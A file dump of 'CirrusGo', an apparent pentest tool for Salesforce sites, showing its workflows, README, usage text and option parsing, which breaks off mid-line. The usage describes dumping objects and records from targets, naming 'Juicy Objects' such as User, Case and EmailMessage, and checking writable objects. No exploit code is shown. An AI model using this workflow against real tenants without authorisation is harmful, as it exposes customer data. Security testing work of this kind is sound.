├── .github ├── FUNDING.yml ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md ├── dependabot.yaml ├── workflow │ ├── gosum.yaml │ ├── pr.yaml │ ├── release.yaml │ └── stale.yaml └── workflows │ ├── go.yml │ ├── gosum.yaml │ ├── pr.yaml │ ├── release.yaml │ └── stale.yaml ├── .goreleaser.yaml ├── LICENSE.md ├── README.md ├── cmd └── cirrusgo │ └── main.go ├── go.mod ├── go.sum ├── internal └── runner │ ├── banner.go │ ├── constants.go │ ├── options.go │ ├── runner.go │ └── version.go └── pkg ├── contentful └── contentful.go ├── errors └── errors.go ├── request └── client.go └── salesforce ├── checkvuln.go ├── getobject.go ├── payload.go └── salesforce.go /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: ["ph33rr"] 2 | custom: ["https://twitter.com/infosec_90"] 3 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. 39 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.github/dependabot.yaml: -------------------------------------------------------------------------------- 1 | version: 2 2 | updates: 3 | - package-ecosystem: "gomod" 4 | directory: "/" 5 | schedule: 6 | interval: "daily" 7 | labels: 8 | - "bug" 9 | 10 | - package-ecosystem: "github-actions" 11 | directory: "/" 12 | schedule: 13 | interval: "daily" 14 | labels: 15 | - "bug" 16 | -------------------------------------------------------------------------------- /.github/workflow/gosum.yaml: -------------------------------------------------------------------------------- 1 | name: "Gosum" 2 | 3 | on: 4 | push: 5 | branches: 6 | - "master" 7 | paths: 8 | - ".github/workflows/gosum.yaml" 9 | - "go.mod" 10 | - "go.sum" 11 | 12 | jobs: 13 | gosum: 14 | runs-on: ubuntu-latest 15 | steps: 16 | - name: Check out code 17 | uses: actions/checkout@v3 18 | 19 | - name: Set up Go 20 | uses: actions/setup-go@v2 21 | with: 22 | go-version: 1.14 23 | 24 | - name: Tidy 25 | run: | 26 | rm -f go.sum 27 | go mod tidy 28 | - name: Create Pull Request 29 | uses: peter-evans/create-pull-request@v4.0.1 30 | with: 31 | token: ${{ secrets.GITHUB_TOKEN }} 32 | commit-message: ":hammer: Tidy up the Go modules" 33 | title: "Tidy up the Go module" 34 | body: | 35 | Current `go.mod` and `go.sum` don't match the source code. 36 | branch: go-mod-tidy 37 | branch-suffix: short-commit-hash 38 | labels: "bug" 39 | -------------------------------------------------------------------------------- /.github/workflow/pr.yaml: -------------------------------------------------------------------------------- 1 | name: Pull Request 2 | on: 3 | push: 4 | paths-ignore: 5 | - README.md 6 | - .gitignore 7 | tags: 8 | - v* 9 | branches: 10 | - master 11 | - development 12 | pull_request: 13 | 14 | jobs: 15 | checks: 16 | name: Pull Request Checks 17 | runs-on: ubuntu-latest 18 | steps: 19 | - name: Set up Go 20 | uses: actions/setup-go@v2 21 | with: 22 | go-version: 1.18 23 | 24 | - name: Check out code 25 | uses: actions/checkout@v3 26 | 27 | - name: GolangCI-Lint 28 | uses: golangci/golangci-lint-action@v3.1.0 29 | with: 30 | version: v1.29 31 | 32 | - name: Run tests 33 | run: go test . 34 | working-directory: cmd/cirrusgo/ 35 | 36 | - name: Compile the project 37 | run: go build 38 | working-directory: cmd/cirrusgo/ 39 | -------------------------------------------------------------------------------- /.github/workflow/release.yaml: -------------------------------------------------------------------------------- 1 | name: Release 2 | on: 3 | create: 4 | tags: 5 | - v* 6 | 7 | jobs: 8 | release: 9 | runs-on: ubuntu-latest 10 | steps: 11 | - name: "Check out code" 12 | uses: actions/checkout@v3 13 | with: 14 | fetch-depth: 0 15 | 16 | - name: "Set up Go" 17 | uses: actions/setup-go@v2 18 | with: 19 | go-version: 1.18 20 | 21 | - name: "Create release on GitHub" 22 | uses: goreleaser/goreleaser-action@v3 23 | env: 24 | GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}" 25 | with: 26 | args: "release --rm-dist" 27 | version: latest 28 | -------------------------------------------------------------------------------- /.github/workflow/stale.yaml: -------------------------------------------------------------------------------- 1 | name: "Auto Close Stale PR & Issues" 2 | on: 3 | schedule: 4 | - cron: "0 0 * * *" 5 | 6 | jobs: 7 | stale: 8 | runs-on: ubuntu-latest 9 | steps: 10 | - name: Run Stale action 11 | uses: actions/stale@v4 12 | with: 13 | repo-token: ${{ secrets.GITHUB_TOKEN }} 14 | 15 | stale-issue-message: "This issue won't be fixed & marked as invalid. Closed!" 16 | stale-issue-label: "wontfix, invalid" 17 | exempt-issue-labels: "bug" 18 | 19 | stale-pr-message: "This PR was abandoned. Closing now." 20 | stale-pr-label: "abandoned" 21 | exempt-pr-labels: "enhancement" 22 | 23 | days-before-stale: 30 24 | days-before-close: 0 25 | -------------------------------------------------------------------------------- /.github/workflows/go.yml: -------------------------------------------------------------------------------- 1 | name: Go 2 | 3 | on: 4 | push: 5 | branches: [ "main" ] 6 | pull_request: 7 | branches: [ "main" ] 8 | 9 | jobs: 10 | 11 | build: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - uses: actions/checkout@v3 15 | 16 | - name: Set up Go 17 | uses: actions/setup-go@v3 18 | with: 19 | go-version: 1.18 20 | 21 | - name: Build 22 | run: go build -v ./... 23 | 24 | - name: Test 25 | run: go test -v ./... 26 | -------------------------------------------------------------------------------- /.github/workflows/gosum.yaml: -------------------------------------------------------------------------------- 1 | name: "Gosum" 2 | 3 | on: 4 | push: 5 | branches: 6 | - "master" 7 | paths: 8 | - ".github/workflows/gosum.yaml" 9 | - "go.mod" 10 | - "go.sum" 11 | 12 | jobs: 13 | gosum: 14 | runs-on: ubuntu-latest 15 | steps: 16 | - name: Check out code 17 | uses: actions/checkout@v3 18 | 19 | - name: Set up Go 20 | uses: actions/setup-go@v2 21 | with: 22 | go-version: 1.18 23 | 24 | - name: Tidy 25 | run: | 26 | rm -f go.sum 27 | go mod tidy 28 | - name: Create Pull Request 29 | uses: peter-evans/create-pull-request@v4.0.4 30 | with: 31 | token: ${{ secrets.GITHUB_TOKEN }} 32 | commit-message: ":hammer: Tidy up the Go modules" 33 | title: "Tidy up the Go module" 34 | body: | 35 | Current `go.mod` and `go.sum` don't match the source code. 36 | branch: go-mod-tidy 37 | branch-suffix: short-commit-hash 38 | labels: "bug" 39 | -------------------------------------------------------------------------------- /.github/workflows/pr.yaml: -------------------------------------------------------------------------------- 1 | name: Pull Request 2 | on: 3 | push: 4 | paths-ignore: 5 | - README.md 6 | - .gitignore 7 | tags: 8 | - v* 9 | branches: 10 | - master 11 | - development 12 | pull_request: 13 | 14 | jobs: 15 | checks: 16 | name: Pull Request Checks 17 | runs-on: ubuntu-latest 18 | steps: 19 | - name: Set up Go 20 | uses: actions/setup-go@v2 21 | with: 22 | go-version: 1.18 23 | 24 | - name: Check out code 25 | uses: actions/checkout@v3 26 | 27 | - name: GolangCI-Lint 28 | uses: golangci/golangci-lint-action@v3.2.0 29 | with: 30 | version: v1.29 31 | 32 | - name: Run tests 33 | run: go test . 34 | working-directory: cmd/cirrusgo/ 35 | 36 | - name: Compile the project 37 | run: go build 38 | working-directory: cmd/cirrusgo/ 39 | -------------------------------------------------------------------------------- /.github/workflows/release.yaml: -------------------------------------------------------------------------------- 1 | name: Release 2 | on: 3 | create: 4 | tags: 5 | - v* 6 | 7 | jobs: 8 | release: 9 | runs-on: ubuntu-latest 10 | steps: 11 | - name: "Check out code" 12 | uses: actions/checkout@v3 13 | with: 14 | fetch-depth: 0 15 | 16 | - name: "Set up Go" 17 | uses: actions/setup-go@v2 18 | with: 19 | go-version: 1.18 20 | 21 | - name: "Create release on GitHub" 22 | uses: goreleaser/goreleaser-action@v3 23 | env: 24 | GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}" 25 | with: 26 | args: "release --rm-dist" 27 | version: latest 28 | -------------------------------------------------------------------------------- /.github/workflows/stale.yaml: -------------------------------------------------------------------------------- 1 | name: "Auto Close Stale PR & Issues" 2 | on: 3 | schedule: 4 | - cron: "0 0 * * *" 5 | 6 | jobs: 7 | stale: 8 | runs-on: ubuntu-latest 9 | steps: 10 | - name: Run Stale action 11 | uses: actions/stale@v4 12 | with: 13 | repo-token: ${{ secrets.GITHUB_TOKEN }} 14 | 15 | stale-issue-message: "This issue won't be fixed & marked as invalid. Closed!" 16 | stale-issue-label: "wontfix, invalid" 17 | exempt-issue-labels: "bug" 18 | 19 | stale-pr-message: "This PR was abandoned. Closing now." 20 | stale-pr-label: "abandoned" 21 | exempt-pr-labels: "enhancement" 22 | 23 | days-before-stale: 30 24 | days-before-close: 0 25 | -------------------------------------------------------------------------------- /.goreleaser.yaml: -------------------------------------------------------------------------------- 1 | builds: 2 | - binary: cirrusgo 3 | main: cmd/cirrusgo/main.go 4 | goos: 5 | - linux 6 | - windows 7 | - darwin 8 | goarch: 9 | - amd64 10 | - 386 11 | - arm 12 | - arm64 13 | 14 | archives: 15 | - id: tgz 16 | format: tar.gz 17 | replacements: 18 | darwin: macOS 19 | format_overrides: 20 | - goos: windows 21 | format: zip 22 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 DooM, Inc. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## CirrusGo 2 | A fast tool to scan SAAS,PAAS App written in Go 3 | 4 | SAAS App Support : 5 | 6 | - salesforce 7 | - contentful (next version) 8 | 9 | **Note flag -o output not working** 10 | 11 | **install :** 12 | golang 1.18Ver 13 | ```console 14 | go install -v github.com/Ph33rr/cirrusgo/cmd/cirrusgo@latest 15 | or 16 | go install -v github.com/Ph33rr/CirrusGo/cmd/cirrusgo@latest 17 | ``` 18 | 19 | 20 | **Help:** 21 | 22 | ```console 23 | cirrusgo --help 24 | ``` 25 | 26 | ```console 27 | ______ _ ______ 28 | / ____/(_)_____ _____ __ __ _____ / ____/____ 29 | / / / // ___// ___// / / // ___// / __ / __ \ 30 | / /___ / // / / / / /_/ /(__ )/ /_/ // /_/ / 31 | \____//_//_/ /_/ \__,_//____/ \____/ \____/ v0.0.1 32 | 33 | cirrusgo --help 34 | 35 | -u, --url Define single URL to fuzz 36 | -l, --list Show App List 37 | -c, --check only check endpoint 38 | -V, --version Show current version 39 | -h, --help Display its help 40 | 41 | [cirrusgo [app] [options] ..] 42 | cirrusgo salesforce --help 43 | 44 | -u, --url Define single URL 45 | -c, --check only check endpoint 46 | -lobj, --listobj pull the object list. 47 | -gobj --getobj pull the object. 48 | -obj --objects set the object name. Default value is "User" object. 49 | Juicy Objects: Case,Account,User,Contact,Document,Cont 50 | entDocument,ContentVersion,ContentBody,CaseComment,Not 51 | e,Employee,Attachment,EmailMessage,CaseExternalDocumen 52 | t,Attachment,Lead,Name,EmailTemplate,EmailMessageRelation 53 | -gre --getrecord pull the Record id. 54 | -re --recordid set the recode id to dump the record 55 | -cw --chkWritable check all Writable objects 56 | -f, --full dump all pages of objects. 57 | --dump 58 | -H, --header
Pass custom header to target 59 | -proxy, --proxy Use proxy to fuzz 60 | 61 | -o, --output File to save results 62 | 63 | [flags payload] 64 | [command: cirrusgo salesforce --payload options] 65 | -payload, --payload Generator payload for test manual Default "ObjectList" 66 | 67 | GetItems -obj set object 68 | -page set page 69 | -pages set pageSize 70 | GetRecord -re set recoder id 71 | WritableOBJ -obj set object 72 | SearchObj -obj set object 73 | -page set page 74 | -pages set pageSize 75 | AuraContext -fwuid set UID 76 | -App set AppName 77 | -markup set markup 78 | ObjectList no options 79 | Dump no options 80 | -h, --help Display its help 81 | 82 | ``` 83 | 84 | **Example :** 85 | 86 | ```console 87 | cirrusgo salesforce -u https://loclhost -gobj 88 | ``` 89 | **dump:** 90 | 91 | ```console 92 | cirrusgo salesforce -u https://localhost/ -f 93 | ``` 94 | **check Writable Objects:** 95 | 96 | ```console 97 | cirusgo salesforce -u https://localhost/ -cw 98 | ``` 99 | 100 | 101 |   102 | [![made-with-Go](https://img.shields.io/badge/made%20with-Go-brightgreen.svg)](http://golang.org) 103 | [![go-report](https://img.shields.io/badge/go%20report-A+-brightgreen.svg?style=flat)](https://img.shields.io/badge/go%20report-A+-brightgreen.svg?style=flat) 104 | [![license](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT) 105 | [![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/ph33rr/cirrusgo/issues) 106 | [![godoc](https://img.shields.io/badge/godoc-reference-brightgreen.svg)](https://godoc.org/github.com/ph33rr/cirrusgo) 107 | -------------------------------------------------------------------------------- /cmd/cirrusgo/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "github.com/Ph33rr/cirrusgo/internal/runner" 4 | 5 | func main() { 6 | options := runner.ParseOptions() 7 | runner.New(options) 8 | } 9 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/Ph33rr/cirrusgo 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/buger/jsonparser v1.1.1 7 | github.com/logrusorgru/aurora v2.0.3+incompatible 8 | github.com/projectdiscovery/gologger v1.1.4 9 | ) 10 | 11 | require ( 12 | github.com/json-iterator/go v1.1.10 // indirect 13 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 14 | github.com/modern-go/reflect2 v1.0.1 // indirect 15 | ) 16 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs= 2 | github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= 3 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 4 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 5 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 6 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 8 | github.com/json-iterator/go v1.1.10 h1:Kz6Cvnvv2wGdaG/V8yMvfkmNiXq9Ya2KUv4rouJJr68= 9 | github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= 10 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 11 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 12 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 13 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 14 | github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= 15 | github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= 16 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 17 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= 18 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 19 | github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= 20 | github.com/modern-go/reflect2 v1.0.1 h1:9f412s+6RmYXLWZSEzVVgPGK7C2PphHj5RJrvfx9AWI= 21 | github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= 22 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 23 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 24 | github.com/projectdiscovery/gologger v1.1.4 h1:qWxGUq7ukHWT849uGPkagPKF3yBPYAsTtMKunQ8O2VI= 25 | github.com/projectdiscovery/gologger v1.1.4/go.mod h1:Bhb6Bdx2PV1nMaFLoXNBmHIU85iROS9y1tBuv7T5pMY= 26 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 27 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 28 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 29 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 30 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 31 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 32 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 33 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= 34 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 35 | -------------------------------------------------------------------------------- /internal/runner/banner.go: -------------------------------------------------------------------------------- 1 | package runner 2 | 3 | import ( 4 | "github.com/projectdiscovery/gologger" 5 | "github.com/projectdiscovery/gologger/levels" 6 | ) 7 | 8 | func showBanner() { 9 | gologger.DefaultLogger.SetMaxLevel(levels.LevelDebug) 10 | gologger.Print().Msgf("%s\n", banner+"\n") 11 | gologger.Warning().Msg("Use with caution. You are responsible for your actions\n") 12 | gologger.Warning().Msg("Developers assume no liability and are not responsible for any misuse or damage.\n") 13 | } 14 | -------------------------------------------------------------------------------- /internal/runner/constants.go: -------------------------------------------------------------------------------- 1 | package runner 2 | 3 | const ( 4 | version = "0.1.0" 5 | author = "infosec_90" 6 | 7 | banner = ` 8 | ______ _ ______ 9 | / ____/(_)_____ _____ __ __ _____ / ____/____ 10 | / / / // ___// ___// / / // ___// / __ / __ \ 11 | / /___ / // / / / / /_/ /(__ )/ /_/ // /_/ / 12 | \____//_//_/ /_/ \__,_//____/ \____/ \____/ 13 | v` + version + ` - @` + author + `` 14 | // Version is the current version of CirrusGo` 15 | 16 | usage = ` 17 | cirrusgo --help 18 | cirrusgo [app] [options] 19 | cirrusgo salesforce --help 20 | cirrusgo salesforce --payload options 21 | ` 22 | applist = ` 23 | 24 | [#] salesforce 25 | ` 26 | optionss = ` 27 | -u, --url Define single URL to fuzz 28 | -l, --list Show App List Support 29 | -c, --check only check endpoint Default with -u 30 | -H, --header
Pass custom header to target 31 | -proxy, --proxy Use proxy to fuzz 32 | -V, --version Show current CirrusGo version 33 | -h, --help Display its help 34 | ` 35 | 36 | salesforceOptions = ` 37 | -u, --url Define single URL 38 | -c, --check only check endpoint 39 | -lobj, --listobj pull the object list. 40 | -gobj --getobj pull the object. 41 | -obj --objects set the object name. Default value is "User" object. 42 | Juicy Objects: Case,Account,User,Contact,Document,Cont 43 | entDocument,ContentVersion,ContentBody,CaseComment,Not 44 | e,Employee,Attachment,EmailMessage,CaseExternalDocumen 45 | t,Attachment,Lead,Name,EmailTemplate,EmailMessageRelation 46 | -gre --getrecord pull the Record id. 47 | -re --recordid set the recode id to dump the record 48 | -cw --chkWritable check all Writable objects 49 | -f, --full dump all pages of objects. 50 | -d --dump dump Juicy File 51 | -H, --header
Pass custom header to target 52 | -proxy, --proxy Use proxy to fuzz 53 | -o, --output File to save results 54 | 55 | [flaqs payload] 56 | [command: cirrusgo salesforce --payload options] 57 | 58 | -payload --payload Generator payload for test manual Default "ObjectList" 59 | [options] 60 | 61 | GetItems -obj set object 62 | -page set page 63 | -pages set pageSize 64 | GetRecord -re set recoder id 65 | WritableOBJ -obj set object 66 | SearchObj -obj set object 67 | -page set page 68 | -pages set pageSize 69 | AuraContext -fwuid set UID 70 | -App set AppName 71 | -markup set markup 72 | ObjectList -no options 73 | Dump -no options 74 | -h, --help Display its help` 75 | 76 | salesforceOptionsPayload = ` 77 | [flaqs payload] 78 | [command: cirrusgo salesforce --payload options] 79 | 80 | -payload --payload Generator payload for test manual Default "ObjectList" 81 | [options] 82 | 83 | -GetItems -obj set object 84 | -page set page 85 | -pages set pageSize 86 | -GetRecord -re set recoder id 87 | -WritableOBJ -obj set object 88 | -SearchObj -obj set object 89 | -page set page 90 | -pages set pageSize 91 | -AuraContext -fwuid set UID 92 | -App set AppName 93 | -markup set markup 94 | -ObjectList -no options 95 | -Dump -no options ` 96 | ) 97 | -------------------------------------------------------------------------------- /internal/runner/options.go: -------------------------------------------------------------------------------- 1 | package runner 2 | 3 | import ( 4 | 5 | "flag" 6 | "fmt" 7 | "io/ioutil" 8 | "log" 9 | "os" 10 | "strings" 11 | 12 | "github.com/Ph33rr/cirrusgo/pkg/errors" 13 | ) 14 | 15 | type Options struct { 16 | URL string 17 | List string 18 | Proxy string 19 | objName string 20 | recordId string 21 | fwuid string 22 | AppName string 23 | markup string 24 | Target string 25 | infosec_90 string 26 | listApp bool 27 | check bool 28 | listobj bool 29 | getobj bool 30 | getrecord bool 31 | checkWritableOBJ bool 32 | full bool 33 | dump bool 34 | help bool 35 | payload bool 36 | GetItems bool 37 | GetRecord bool 38 | WritableOBJ bool 39 | SearchObj bool 40 | AuraContext bool 41 | ObjectList bool 42 | Dump bool 43 | pageNumber int 44 | pageSize int 45 | Version bool 46 | Headers Headers 47 | Output *os.File 48 | } 49 | 50 | type Headers []string 51 | 52 | func (h Headers) String() string { 53 | return strings.Join(h, ", ") 54 | } 55 | 56 | // Set defines given each header 57 | func (h *Headers) Set(val string) error { 58 | *h = append(*h, val) 59 | return nil 60 | } 61 | 62 | var o *Options 63 | 64 | func init() { 65 | 66 | flag.Usage = func() { 67 | showBanner() 68 | h := []string{ 69 | "", 70 | "Usage:" + usage, 71 | "", 72 | "Options:" + optionss, 73 | "", 74 | } 75 | fmt.Fprint(os.Stderr, strings.Join(h, "\n")) 76 | } 77 | 78 | } 79 | 80 | func ParseOptions() *Options { 81 | // Show current version & exit 82 | o = &Options{} 83 | 84 | flag.BoolVar(&o.help, "help", false, "") 85 | flag.BoolVar(&o.help, "h", false, "") 86 | flag.String("check", "", "help") 87 | flag.String("c", "", "help") 88 | flag.String("l", "", "help") 89 | flag.BoolVar(&o.listApp, "list", false, "Show App Support") 90 | flag.StringVar(&o.URL, "url", "", "Define single URL") 91 | flag.StringVar(&o.URL, "u", "", "Define single URL") 92 | flag.StringVar(&o.infosec_90, "o", "", "") 93 | flag.StringVar(&o.infosec_90, "output", "", "") 94 | flag.Var(&o.Headers, "header", "") 95 | flag.Var(&o.Headers, "H", "") 96 | flag.StringVar(&o.Proxy, "proxy", "", "help") 97 | flag.BoolVar(&o.Version, "version", false, "help") 98 | flag.BoolVar(&o.Version, "V", false, "") 99 | 100 | //salesforce app Options 101 | mainFlagSales := flag.NewFlagSet("salesforce", flag.ContinueOnError) 102 | mainFlagSales.BoolVar(&o.help, "help", false, "Display its help") 103 | mainFlagSales.BoolVar(&o.help, "h", false, "Display its help") 104 | mainFlagSales.StringVar(&o.URL, "u", "", "Define single URL") 105 | mainFlagSales.StringVar(&o.URL, "url", "", "Define single URL") 106 | mainFlagSales.BoolVar(&o.check, "check", false, "only check endpoint") 107 | mainFlagSales.BoolVar(&o.check, "c", false, "only check endpoint") 108 | mainFlagSales.BoolVar(&o.listobj, "listobj", false, " pull the object list") 109 | mainFlagSales.BoolVar(&o.listobj, "lobj", false, " pull the object list") 110 | mainFlagSales.BoolVar(&o.getobj, "getobj", false, "pull the object") 111 | mainFlagSales.BoolVar(&o.getobj, "gobj", false, " pull the object") 112 | mainFlagSales.StringVar(&o.objName, "objects", "User", "set the object name. Default value is 'User' objectn") 113 | mainFlagSales.StringVar(&o.objName, "obj", "User", "set the object name. Default value is User object") 114 | mainFlagSales.BoolVar(&o.getrecord, "getrecord", false, "set the recode id to dump the record") 115 | mainFlagSales.BoolVar(&o.getrecord, "gre", false, "set the recode id to dump the record") 116 | mainFlagSales.StringVar(&o.recordId, "recordid", "RecordID", "set the recode id to dump the record") 117 | mainFlagSales.StringVar(&o.recordId, "re", "RecordID", "set the recode id to dump the record") 118 | mainFlagSales.BoolVar(&o.checkWritableOBJ, "chkWritable ", false, " check all Writable objects") 119 | mainFlagSales.BoolVar(&o.checkWritableOBJ, "cw", false, " check all Writable objects") 120 | mainFlagSales.BoolVar(&o.full, "full", false, "dump all pages of objects.") 121 | mainFlagSales.BoolVar(&o.full, "f", false, " dump all pages of objects.") 122 | mainFlagSales.BoolVar(&o.dump, "dump", false, "get json file") 123 | mainFlagSales.BoolVar(&o.dump, "d", false, "get json file") 124 | mainFlagSales.BoolVar(&o.payload, "payload", false, "(case-sensitive) Generator payload for test manual Default 'ObjectList'") 125 | mainFlagSales.BoolVar(&o.GetItems, "GetItems", false, "Generator payload for test manual Default 'User'") 126 | mainFlagSales.BoolVar(&o.ObjectList, "ObjectList", false, "Generator payload for test manual Default 'ObjectList'") 127 | mainFlagSales.BoolVar(&o.GetRecord, "GetRecord", false, "Generator payload for test manual Default 'Ph33rr'") 128 | mainFlagSales.BoolVar(&o.WritableOBJ, "WritableOBJ", false, "Generator payload for test manual Default 'User'") 129 | mainFlagSales.BoolVar(&o.SearchObj, "SearchObj", false, "Generator payload for test manual Default 'User'") 130 | mainFlagSales.BoolVar(&o.AuraContext, "AuraContext", false, "Generator payload for test manual") 131 | mainFlagSales.BoolVar(&o.Dump, "Dump", false, "Generator payload for test manual") 132 | mainFlagSales.IntVar(&o.pageNumber, "page", 1, "page set page") 133 | mainFlagSales.IntVar(&o.pageSize, "pages", 1000, "pages set pageSize") 134 | mainFlagSales.StringVar(&o.fwuid, "fwuid", "fwuidHere", "fwuid set UID ") 135 | mainFlagSales.StringVar(&o.AppName, "app", "AppNamehere", "App 